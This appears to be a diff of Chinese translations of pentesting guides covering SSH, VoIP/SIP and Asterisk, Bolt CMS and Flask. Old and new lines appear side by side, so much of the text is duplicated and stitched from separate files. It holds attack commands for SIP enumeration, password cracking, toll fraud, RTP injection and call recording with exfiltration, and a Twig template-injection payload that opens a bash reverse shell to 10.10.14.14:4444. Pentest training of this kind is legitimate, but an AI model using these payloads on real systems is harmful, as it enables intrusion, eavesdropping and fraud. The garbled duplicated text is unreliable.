The **sftp** have the command "**symlink**". Therefore, if you have **可写权限** in some folder, you can create **symlinks** of **其他文件/文件夹**. As you are probably **被困** inside a chroot this **对你来说不会特别有用**, but, if you can **访问** the created **symlink** from a **非chroot** **服务** (for example, if you can access the symlink from the web), you could **通过网络打开symlinked文件**.
例如,要创建一个从新文件 **"**_**froot**_**" 到 "**_**/**_**"** 的 **symlink**
For example, to create a **symlink** from a new file **"**_**froot**_**" to "**_**/**_**"**:
```bash
sftp> symlink / froot
```
@ -252,7 +252,7 @@ sftp> symlink / froot
### 认证方法
在高安全性环境中,通常的做法是仅启用基于密钥或双因素认证,而不是简单的基于密码的单因素认证。但通常情况下,较强的认证方法被启用而没有禁用较弱的认证方法。一个常见的情况是在 openSSH 配置中启用 `publickey` 并将其设置为默认方法,但没有禁用 `password`。因此,通过使用 SSH 客户端的详细模式,攻击者可以看到较弱的方法被启用
在高安全性环境中,通常的做法是仅启用基于密钥或双因素认证,而不是简单的基于密码的单因素认证。但通常情况下,较强的认证方法被启用而没有禁用较弱的认证方法。一个常见的情况是在 openSSH 配置中启用 `publickey` 并将其设置为默认方法,但没有禁用 `password`。因此,通过使用 SSH 客户端的详细模式,攻击者可以看到启用了较弱的方法:
```bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
@ -265,7 +265,7 @@ ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
```
检查SSH服务器配置是必要的以确保仅授权预期的方法。使用客户端的详细模式可以帮助查看配置的有效性。
审查SSH服务器配置是必要的以检查仅授权预期的方法。使用客户端的详细模式可以帮助查看配置的有效性。
### 配置文件
```bash
@ -276,17 +276,17 @@ ssh_known_hosts
known_hosts
id_rsa
```
## 模糊测试
## Fuzzing
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
## 参考资料
## References
- 你可以在 [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html) 找到关于如何加 SSH 的有趣指南
- 你可以在 [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html) 找到关于如何加 SSH 的有趣指南
- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
## HackTricks 自动命令
## HackTricks Automatic Commands
```
Protocol_Name: SSH
Port_Number: 22

View File

@ -117,7 +117,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
555 Push Notification Service Not Supported
580 Precondition Failure
```
**6xx—全失败响应**
**6xx—全失败响应**
```
600 Busy Everywhere
603 Decline
@ -126,11 +126,11 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
607 Unwanted
608 Rejected
```
## VoIP 枚举
## VoIP Enumeration
### 电话号码
红队可以采取的第一步是使用 OSINT 工具、Google 搜索或抓取网页来搜索可用的电话号码以联系公司。
红队可以采取的第一步是使用OSINT工具、Google搜索或抓取网页来搜索可用的电话号码以联系公司。
一旦你获得了电话号码,你可以使用在线服务来识别运营商:
@ -139,9 +139,9 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
- [https://www.whitepages.com/](https://www.whitepages.com/)
- [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
知道运营商是否提供 VoIP 服务,你可以确定公司是否在使用 VoIP... 此外,公司可能没有雇佣 VoIP 服务,而是使用 PSTN 卡将自己的 VoIP PBX 连接到传统电话网络。
知道运营商是否提供VoIP服务你可以确定公司是否在使用VoIP……此外公司可能没有雇佣VoIP服务而是使用PSTN卡将自己的VoIP PBX连接到传统电话网络。
诸如自动音乐响应等情况通常表明正在使用 VoIP。
诸如自动音乐响应等情况通常表明正在使用VoIP。
### Google Dorks
```bash
@ -177,7 +177,7 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati
```
### OSINT 信息
任何其他有助于识别所使用 VoIP 软件的 OSINT 枚举对红队都是有帮助的。
任何其他有助于识别所使用 VoIP 软件的 OSINT 枚举对红队都是有帮助的。
### 网络枚举
@ -186,7 +186,7 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
```
- **`svmap`** 来自 SIPVicious (`sudo apt install sipvicious`): 将在指定网络中定位 SIP 服务。
- `svmap` **容易被阻止**,因为它使用 User-Agent `friendly-scanner`,但你可以修改 `/usr/share/sipvicious/sipvicious` 中的代码并进行更改。
- `svmap` **容易被阻止**,因为它使用 User-Agent `friendly-scanner`,但你可以修改 `/usr/share/sipvicious/sipvicious` 中的代码并进行更改。
```bash
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
@ -207,7 +207,7 @@ sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
```
#### 额外网络枚举
#### 额外网络枚举
PBX 还可能暴露其他网络服务,例如:
@ -217,7 +217,7 @@ PBX 还可能暴露其他网络服务,例如:
- **3306 (MySQL)**: MySQL 数据库
- **5038 (Manager)**: 允许从其他平台使用 Asterisk
- **5222 (XMPP)**: 使用 Jabber 发送消息
- 其他...
- 还有其他...
### 方法枚举
@ -227,7 +227,7 @@ sippts enumerate -i 10.10.0.10
```
### 分析服务器响应
分析服务器返回给我们的头部非常重要,这取决于我们发送的消息和头部的类型。使用来自 [**sippts**](https://github.com/Pepelux/sippts) `SIPPTS send`我们可以发送个性化消息,操纵所有头部,并分析响应。
分析服务器返回给我们的头部非常重要,这取决于我们发送的消息和头部类型。使用 `SIPPTS send` [**sippts**](https://github.com/Pepelux/sippts) 我们可以发送个性化消息,操纵所有头部,并分析响应。
```bash
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
```
@ -235,15 +235,15 @@ sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1
```bash
sippts wssend -i 10.10.0.10 -r 443 -path /ws
```
### 扩展枚举
### Extension Enumeration
PBX私人分支交换系统中的扩展指的是**分配给组织或企业内各个**电话线路、设备或用户的唯一内部标识符。扩展使得**在组织内部高效路由电话成为可能**,无需为每个用户或设备提供单独的外部电话号码。
在PBX私人分支交换机系统中扩展指的是**分配给组织或企业内各个**电话线路、设备或用户的唯一内部标识符。扩展使得**在组织内部高效路由电话成为可能**,无需为每个用户或设备提供单独的外部电话号码。
- **`svwar`** 来自SIPVicious`sudo apt install sipvicious``svwar` 是一个免费的SIP PBX扩展线路扫描器。在概念上它的工作方式类似于传统的拨号器通过**猜测一系列扩展或给定的扩展列表**。
- **`svwar`** 来自SIPVicious`sudo apt install sipvicious``svwar`是一个免费的SIP PBX扩展线路扫描器。在概念上它的工作方式类似于传统的拨号器通过**猜测一系列扩展或给定的扩展列表**。
```bash
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
```
- **`SIPPTS exten`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten 识别 SIP 服务器上的扩展。 Sipexten 可以检查大范围的网络和端口。
- **`SIPPTS exten`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten 识别 SIP 服务器上的扩展。Sipexten 可以检查大范围的网络和端口。
```bash
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
```
@ -252,7 +252,7 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
```
- **`enumiax` (`apt install enumiax`): enumIAX** 是一个 Inter Asterisk Exchange 协议 **用户名暴力破解枚举器**。enumIAX 可以在两种不同模式下操作:顺序用户名猜测或字典攻击。
- **`enumiax` (`apt install enumiax`): enumIAX** 是一个 Inter Asterisk Exchange 协议 **用户名暴力破解枚举工具**。 enumIAX 可以在两种不同模式下操作:顺序用户名猜测或字典攻击。
```bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
@ -273,7 +273,7 @@ enumiax -v -m3 -M3 10.10.0.10
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
```
- **`SIPPTS rcrack`**来自[**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack 是一个用于 SIP 服务的远程密码破解工具。Rcrack 可以在不同的 IP 和端口范围内测试多个用户的密码。
- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack 是一个用于 SIP 服务的远程密码破解工具。Rcrack 可以在不同的 IP 和端口范围内测试多个用户的密码。
```bash
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
```
@ -283,7 +283,7 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
### VoIP Sniffing
如果你在**开放的Wifi网络**中发现VoIP设备你可以**嗅探所有信息**。此外如果你在一个更封闭的网络中通过以太网或受保护的Wifi连接你可以执行**MitM攻击例如** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing),在**PBX和网关**之间嗅探信息。
如果你在**开放的Wifi网络**中发现VoIP设备你可以**嗅探所有信息**。此外如果你在一个更封闭的网络中通过以太网或受保护的Wifi连接你可以执行**MitM攻击例如** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing),在**PBX和网关**之间嗅探信息。
在网络信息中,你可能会找到**管理设备的网页凭据**、用户**分机**、**用户名**、**IP**地址,甚至**哈希密码**和**RTP数据包**,你可以重放这些数据包以**听到对话**,等等。
@ -302,7 +302,7 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
```
- **`SIPPTS dump`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump 可以从 pcap 文件中提取摘要认证。
- **`SIPPTS dump`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump 可以从 pcap 文件中提取摘要认证。
```bash
sippts dump -f capture.pcap -o data.txt
```
@ -310,7 +310,7 @@ sippts dump -f capture.pcap -o data.txt
```bash
sippts dcrack -f data.txt -w wordlist/rockyou.txt
```
- **`SIPPTS tshark`**来自[**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark 从 PCAP 文件中提取 SIP 协议的数据。
- **`SIPPTS tshark`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark 从 PCAP 文件中提取 SIP 协议的数据。
```bash
sippts tshark -f capture.pcap [-filter auth]
```
@ -323,7 +323,7 @@ multimon -a DTMF -t wac pin.wav
```
### 免费通话 / Asterisks 连接配置错误
在 Asterisk 中,可以允许 **来自特定 IP 地址** 的连接**来自任何 IP 地址** 的连接:
在 Asterisk 中,可以允许来自 **特定 IP 地址** 或 **任何 IP 地址** 的连接:
```
host=10.10.10.10
host=dynamic
@ -332,15 +332,15 @@ host=dynamic
要定义用户,可以定义为:
- **`type=user`**:用户只能接电话。
- **`type=friend`**:可以作为对等方拨打电话并作为用户接收电话(与扩展一起使用)
- **`type=user`**:用户只能接电话。
- **`type=friend`**:可以作为对等方拨打电话并作为用户接(与扩展一起使用)
- **`type=peer`**可以作为对等方发送和接收电话SIP-trunks
还可以通过不安全变量建立信任:
- **`insecure=port`**允许通过IP验证的对等连接。
- **`insecure=invite`**不需要对INVITE消息进行身份验证
- **`insecure=port,invite`**:两者都可以
- **`insecure=port,invite`**:两者都允许
> [!WARNING]
> 当使用**`type=friend`**时,**host**变量的**值**将**不被使用**,因此如果管理员**错误配置SIP-trunk**使用该值,**任何人都将能够连接到它**。
@ -358,14 +358,14 @@ host=dynamic
```bash
csharpCopy code[my_context]
```
在此上下文中,您定义了分机(拨打号码的模式)并将其与一系列操作或应用程序关联。这些操作决定了电话的处理方式。例如:
在此上下文中,您定义了扩展(拨打号码的模式)并将其与一系列操作或应用程序关联。这些操作决定了电话的处理方式。例如:
```scss
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
```
这个示例演示了一个名为 "my_context" 的简单上下文,扩展为 "100"。当有人拨打 100 时,电话将被接听,播放欢迎信息,然后话将被终止。
这个示例演示了一个名为 "my_context" 的简单上下文,扩展为 "100"。当有人拨打 100 时,电话将被接听,播放欢迎信息,然后话将被终止。
这是 **另一个上下文**,允许 **拨打任何其他号码**
```scss
@ -379,12 +379,12 @@ include => my_context
include => external
```
> [!WARNING]
> 任何人都可以使用 **服务器拨打任何其他号码**(服务器的管理员将为通话付费)。
> 任何人都可以使用 **server 来拨打任何其他号码**(服务器的管理员将为通话付费)。
> [!CAUTION]
> 此外,默认情况下 **`sip.conf`** 文件包含 **`allowguest=true`**,因此 **任何** 没有 **身份验证** 的攻击者都可以拨打任何其他号码。
> 此外,默认情况下 **`sip.conf`** 文件包含 **`allowguest=true`**,因此 **任何** 攻击者在 **没有认证** 的情况下都能够拨打任何其他号码。
- **`SIPPTS invite`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite 检查 **PBX 服务器是否允许我们在没有身份验证的情况下拨打电话**。如果 SIP 服务器配置不正确,它将允许我们拨打外部号码。它还可以允许我们将通话转移到第二个外部号码。
- **`SIPPTS invite`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite 检查 **PBX 服务器是否允许我们在没有证的情况下拨打电话**。如果 SIP 服务器配置不正确,它将允许我们拨打外部号码。它还可以允许我们将通话转移到第二个外部号码。
例如,如果您的 Asterisk 服务器有不良的上下文配置,您可以在没有授权的情况下接受 INVITE 请求。在这种情况下,攻击者可以在不知道任何用户/密码的情况下拨打电话。
```bash
@ -396,14 +396,14 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
```
### 免费电话 / 配置错误的 IVRS
IVRS 代表 **交互式语音响应系统**,是一种电话技术,允许用户通过语音或触摸音调输入与计算机系统进行交互。IVRS 用于构建 **自动呼叫处理** 系统,提供一系列功能,如提供信息、路由电话和捕获用户输入。
IVRS 代表 **交互式语音响应系统**,是一种电话技术,允许用户通过语音或按键输入与计算机系统进行交互。IVRS 用于构建 **自动呼叫处理** 系统,提供一系列功能,如提供信息、路由电话和捕获用户输入。
VoIP 系统中的 IVRS 通常包括:
1. **语音提示**预录的音频消息,引导用户通过 IVR 菜单选项和说明。
2. **DTMF**(双音多频)信号:通过按下电话上的按键生成的触摸音输入,用于在 IVR 菜单中导航和提供输入。
3. **呼叫路由**:根据用户输入将电话直接转接到适当的目的地,如特定部门、代理或分机。
4. **用户输入捕获**:收集来电者的信息,如账户号码、案件 ID 或任何其他相关数据。
1. **语音提示**:引导用户通过 IVR 菜单选项和说明的预录音频消息
2. **DTMF**(双音多频)信号:通过按下电话上的按键生成的触摸音输入,用于在 IVR 菜单中导航和提供输入。
3. **呼叫路由**:根据用户输入将电话直接转接到适当的目的地,如特定部门、代理或分机。
4. **用户输入捕获**:收集来电者的信息,如账户号码、案件 ID 或任何其他相关数据。
5. **与外部系统的集成**:将 IVR 系统连接到数据库或其他软件系统,以访问或更新信息、执行操作或触发事件。
在 Asterisk VoIP 系统中,您可以使用拨号计划 (**`extensions.conf`** 文件) 和各种应用程序,如 `Background()``Playback()``Read()` 等,创建 IVR。这些应用程序帮助您播放语音提示、捕获用户输入并控制呼叫流程。
@ -429,15 +429,15 @@ exten => _X.,1,Dial(SIP/${EXTEN})
```scss
exten => 101,1,Dial(SIP/101)
```
然而,如果 **`${EXTEN}`** 允许输入 **超过数字**(如在旧版本的 Asterisk 中),攻击者可以输入 **`101&SIP123123123`** 来拨打电话号码 123123123。结果将是
然而,如果 **`${EXTEN}`** 允许输入 **不止数字**(如在旧版本的 Asterisk 中),攻击者可以输入 **`101&SIP123123123`** 来拨打电话号码 123123123。结果将是
```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
```
因此,对扩展 **`101`** 和 **`123123123`** 的呼叫将被发送,只有第一个接到电话的呼叫会被建立……但是如果攻击者使用一个 **绕过任何匹配** 的扩展,而这个扩展并不存在,他可以 **仅向所需号码注入一个呼叫**
因此,对扩展 **`101`** 和 **`123123123`** 的呼叫将被发送,只有第一个接到电话的呼叫会被建立……但是如果攻击者使用一个 **绕过任何匹配的扩展**,而这个扩展并不存在,他可以 **仅向所需号码注入一个呼叫**
## SIPDigestLeak 漏洞
SIP Digest Leak 是一个影响大量 SIP 电话的漏洞,包括硬件和软件 IP 电话以及电话适配器VoIP 模拟)。该漏洞允许 **泄露 Digest 认证响应**,该响应是根据密码计算的。然后可以进行 **离线密码攻击**,并根据挑战响应恢复大多数密码。
SIP Digest Leak 是一个影响大量 SIP 电话的漏洞,包括硬件和软件 IP 电话以及电话适配器VoIP 模拟)。该漏洞允许 **泄露 Digest 认证响应**,该响应是根据密码计算的。然后可以进行 **离线密码攻击**,并根据挑战响应恢复大多数密码。
**[漏洞场景来自这里**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
@ -447,7 +447,7 @@ SIP Digest Leak 是一个影响大量 SIP 电话的漏洞,包括硬件和软
4. 当电话挂断时,**受害者电话向攻击者发送 BYE**
5. **攻击者发出 407 响应****请求认证**并发出认证挑战
6. **受害者电话在第二个 BYE 中提供对认证挑战的响应**
7. **攻击者可以在他的本地机器上(或分布式网络等)对挑战响应进行暴力攻击**并猜测密码
7. **攻击者可以在他的本地机器上(或分布式网络等)对挑战响应进行暴力破解攻击**并猜测密码
- **SIPPTS 漏洞**来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS 漏洞利用了影响大量 SIP 电话的 SIP Digest Leak 漏洞。输出可以以 SipCrack 格式保存,以便使用 SIPPTS dcrack 或 SipCrack 工具进行暴力破解。
```bash
@ -472,7 +472,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
```
### Click2Call
Click2Call 允许一个 **web 用户**(例如可能对某个产品感兴趣) **提供** 他的 **电话号码** 以接收电话。然后会拨打一个商业电话,当他 **接听电话** 时,用户将被 **呼叫并与代理连接**
Click2Call 允许一个 **web user**(例如可能对某个产品感兴趣) **提供** 他的 **电话号码** 以接收电话。然后会拨打一个商业电话,当他 **接听电话** 时,用户将被 **呼叫并与代理连接**
一个常见的 Asterisk 配置文件是:
```scss
@ -484,7 +484,7 @@ displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
```
- 之前的配置允许 **任何 IP 地址连接**(如果知道密码)。
- 之前的配置允许 **任何 IP 地址连接**(如果密码已知)。
- 要 **发起通话**,如前所述,**不需要读取权限****只需要** **发起****写入** 权限。
拥有这些权限的任何知道密码的 IP 都可以连接并提取过多信息,例如:
@ -498,11 +498,11 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
在 Asterisk 中,可以使用命令 **`ChanSpy`** 指定要监控的 **分机**(或所有分机)来听取正在进行的对话。此命令需要分配给一个分机。
例如,**`exten => 333,1,ChanSpy('all',qb)`** 表示如果您 **拨打** **分机 333**,它将 **监控** **`all`** 分机,**开始监听** 每当新的对话开始时 (**`b`**) 以静音模式 (**`q`**) 进行,因为我们不想参与其中。您可以通过按 **`*`** 或输入分机号码在进行中的对话之间切换。
例如,**`exten => 333,1,ChanSpy('all',qb)`** 表示如果您 **拨打** **分机 333**,它将 **监控** **`all`** 分机,**开始监听** 每当新的对话开始时 (**`b`**) 以静音模式 (**`q`**) 进行,因为我们不想进行互动。您可以通过按 **`*`** 或输入分机号码在进行中的对话之间切换。
也可以使用 **`ExtenSpy`** 仅监控一个分机。
除了监听对话外,还可以使用分机将其 **录制到文件**,例如:
除了监听对话外,还可以使用分机将其 **录制到文件**,例如:
```scss
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
@ -510,17 +510,17 @@ exten => _X.,2,MixMonitor(${NAME})
```
通话将保存在 **`/tmp`**。
您甚至可以让 Asterisk **在关闭时执行一个脚本,该脚本将泄露通话**。
您甚至可以让 Asterisk **执行一个脚本,当通话结束时泄露通话**。
```scss
exten => h,1,System(/tmp/leak_conv.sh &)
```
### RTCPBleed 漏洞
**RTCPBleed** 是一个主要的安全问题,影响基于 Asterisk 的 VoIP 服务器(发布于 2017 年)。该漏洞允许 **RTP实时传输协议流量**,即承载 VoIP 通话的流量,被 **互联网上的任何人拦截和重定向**。这是因为 RTP 流量在通过 NAT网络地址转换防火墙时绕过了身份验证。
**RTCPBleed** 是一个影响基于 Asterisk 的 VoIP 服务器的重大安全问题(发布于 2017 年)。该漏洞允许 **RTP实时传输协议流量**,即承载 VoIP 通话的流量,被 **互联网上的任何人拦截和重定向**。这发生是因为 RTP 流量在通过 NAT网络地址转换防火墙时绕过了身份验证。
RTP 代理尝试通过在两个或多个参与者之间代理 RTP 流来解决影响 RTC 系统的 **NAT 限制**。当 NAT 存在时RTP 代理软件通常无法依赖通过信令(例如 SIP获取的 RTP IP 和端口信息。因此,许多 RTP 代理实现了一种机制,使得这样的 **IP 和端口元组能够自动学习**。这通常是通过检查传入的 RTP 流量并将任何传入 RTP 流量的源 IP 和端口标记为应响应的来完成的。这种机制可能被称为“学习模式”,**不使用任何形式的身份验证**。因此,**攻击者**可以 **向 RTP 代理发送 RTP 流量**,并接收原本应发送给正在进行的 RTP 流的呼叫者或被叫者的代理 RTP 流量。我们称这种漏洞为 RTP Bleed因为它允许攻击者接收原本应发送给合法用户的 RTP 媒体流。
RTP 代理尝试通过在两个或多个参与者之间代理 RTP 流来解决影响 RTC 系统的 **NAT 限制**。当 NAT 存在时RTP 代理软件通常无法依赖通过信令(例如 SIP获取的 RTP IP 和端口信息。因此,许多 RTP 代理实现了一种机制,使得这样的 **IP 和端口元组能够自动学习**。这通常是通过检查传入的 RTP 流量并将任何传入 RTP 流量的源 IP 和端口标记为应响应的来完成的。这种机制可能被称为“学习模式”,**不使用任何形式的身份验证**。因此,**攻击者** 可以 **向 RTP 代理发送 RTP 流量**,并接收原本应发送给正在进行的 RTP 流的呼叫者或被叫者的代理 RTP 流量。我们称这种漏洞为 RTP Bleed因为它允许攻击者接收原本应发送给合法用户的 RTP 媒体流。
RTP 代理和 RTP 堆栈的另一个有趣行为是,有时 **即使不易受 RTP Bleed 漏洞影响**,它们仍**接受、转发和/或处理来自任何源的 RTP 数据包**。因此,攻击者可以发送 RTP 数据包,这可能允许他们注入自己的媒体,而不是合法的媒体。我们称这种攻击为 RTP 注入,因为它允许将不合法的 RTP 数据包注入现有的 RTP 流中。此漏洞可能在 RTP 代理和端点中发现
RTP 代理和 RTP 堆栈的另一个有趣行为是,有时 **即使不易受 RTP Bleed 影响**,它们也**接受、转发和/或处理来自任何源的 RTP 数据包**。因此,攻击者可以发送 RTP 数据包,这可能允许他们注入自己的媒体,而不是合法的媒体。我们称这种攻击为 RTP 注入,因为它允许将不合法的 RTP 数据包注入现有的 RTP 流中。此漏洞可能在 RTP 代理和端点中都能找到
Asterisk 和 FreePBX 传统上使用 **`NAT=yes` 设置**,这使得 RTP 流量能够绕过身份验证,可能导致通话中没有音频或单向音频。
@ -530,11 +530,11 @@ Asterisk 和 FreePBX 传统上使用 **`NAT=yes` 设置**,这使得 RTP 流量
```bash
sippts rtpbleed -i 10.10.0.10
```
- **`SIPPTS rtcpbleed`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed 通过发送 RTCP 流来检测 RTP Bleed 漏洞。
- **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed 检测通过发送 RTCP 流的 RTP Bleed 漏洞。
```bash
sippts rtcpbleed -i 10.10.0.10
```
- **`SIPPTS rtpbleedflood`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood 利用 RTP Bleed 漏洞发送 RTP 流。
- **`SIPPTS rtpbleedflood`**来自[**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood 利用 RTP Bleed 漏洞发送 RTP 流。
```bash
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
```
@ -544,19 +544,19 @@ sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
```
### RCE
在 Asterisk 中,如果你能够**添加扩展规则并重新加载它们**(例如,通过攻陷一个易受攻击的网络管理服务器),就有可能使用**`System`**命令获得 RCE。
在 Asterisk 中,如果你能够以某种方式 **添加扩展规则并重新加载它们**(例如,通过攻陷一个易受攻击的网络管理服务器),则可以使用 **`System`** 命令获得 RCE。
```scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
```
有一个命令叫 **`Shell`**,可以在必要时 **替代 `System`** 来执行系统命令。
有一个命令叫 **`Shell`**,可以在必要时 **替代 `System`** 来执行系统命令。
> [!WARNING]
> 如果服务器 **不允许在 `System`** 命令中使用某些字符(如在 Elastix 中),请检查网络服务器是否允许 **以某种方式在系统内创建文件**(如在 Elastix 或 trixbox 中),并利用它 **创建一个后门脚本**,然后使用 **`System`** 来 **执行****脚本**
> 如果服务器 **不允许在 `System`** 命令中使用某些字符(如在 Elastix 中),请检查网络服务器是否允许 **以某种方式在系统内创建文件**(如在 Elastix 或 trixbox 中),并利用它 **创建一个后门脚本**,然后使用 **`System`** 来 **执行****脚本**
#### 有趣的本地文件和权限
- **`sip.conf`** -> 包含 SIP 用户的密码。
- 如果 **Asterisk 服务器以 root 身份运行**,您可能会危 root 权限。
- 如果 **Asterisk 服务器以 root 身份运行**,您可能会危 root 权限。
- **mysql root 用户** 可能 **没有任何密码**
- 这可以用来创建一个新的 mysql 用户作为后门。
- **`FreePBX`**
@ -582,7 +582,7 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
- **`SIPPTS ping`** 来自 [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS ping 进行 SIP ping 以查看服务器响应时间。
- `sippts ping -i 10.10.0.10`
- [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX 协议用于 Asterisk。
- [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): 一在 UDP/IP 上执行 SIP/SDP INVITE 消息洪水的工具。
- [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): 一个用于在 UDP/IP 上执行 SIP/SDP INVITE 消息洪水的工具。
- [**rtpflood**](https://www.kali.org/tools/rtpflood/): 发送多个格式良好的 RTP 数据包。需要知道正在使用的 RTP 端口(先嗅探)。
- [**SIPp**](https://github.com/SIPp/sipp): 允许分析和生成 SIP 流量,因此也可以用于 DoS。
- [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP 瑞士军刀。也可以用于执行 SIP 攻击。

View File

@ -4,7 +4,7 @@
## RCE
在以管理员身份登录后(访问 /bot 以获取登录提示),您可以在 Bolt CMS 中获得 RCE
在以管理员身份登录后(访问 /bot 以进入登录提示),您可以在 Bolt CMS 中获得 RCE
- 选择 `Configuration` -> `View Configuration` -> `Main Configuration` 或访问 URL 路径 `/bolt/file-edit/config?file=/bolt/config.yaml`
- 检查主题的值
@ -14,7 +14,7 @@
- 选择 `File management` -> `View & edit templates`
- 选择在上一步中找到的主题基础(在本例中为 `base-2021`)并选择 `index.twig`
- 在我的情况下,这在 URL 路径 /bolt/file-edit/themes?file=/base-2021/index.twig 中
- 通过 [template injection (Twig)](../../pentesting-web/ssti-server-side-template-injection/#twig-php) 在此文件中设置您的有效载荷,例如:`{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}`
- 通过 [template injection (Twig)](../../pentesting-web/ssti-server-side-template-injection/index.html#twig-php) 在此文件中设置您的有效载荷,例如:`{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}`
- 并保存更改
<figure><img src="../../images/image (948).png" alt=""><figcaption></figcaption></figure>

View File

@ -2,19 +2,19 @@
{{#include ../../banners/hacktricks-training.md}}
**如果你在进行CTFFlask应用程序可能与** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**关。**
**如果你在进行CTFFlask应用程序可能与** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**关。**
## Cookies
默认的cookie会话名称是 **`session`**。
默认的cookie会话名称是**`session`**。
### Decoder
在线Flask cookie解码器: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
在线Flask cookie解码器[https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
#### Manual
获取cookie的第一部分直到第一个点并进行Base64解码>
获取cookie的第一部分直到第一个点然后进行Base64解码。
```bash
echo "ImhlbGxvIg" | base64 -d
```
@ -22,7 +22,7 @@ echo "ImhlbGxvIg" | base64 -d
### **Flask-Unsign**
命令行工具,通过猜测秘密密钥来获取、解码、暴力破解和制作 Flask 应用程序的会话 cookie。
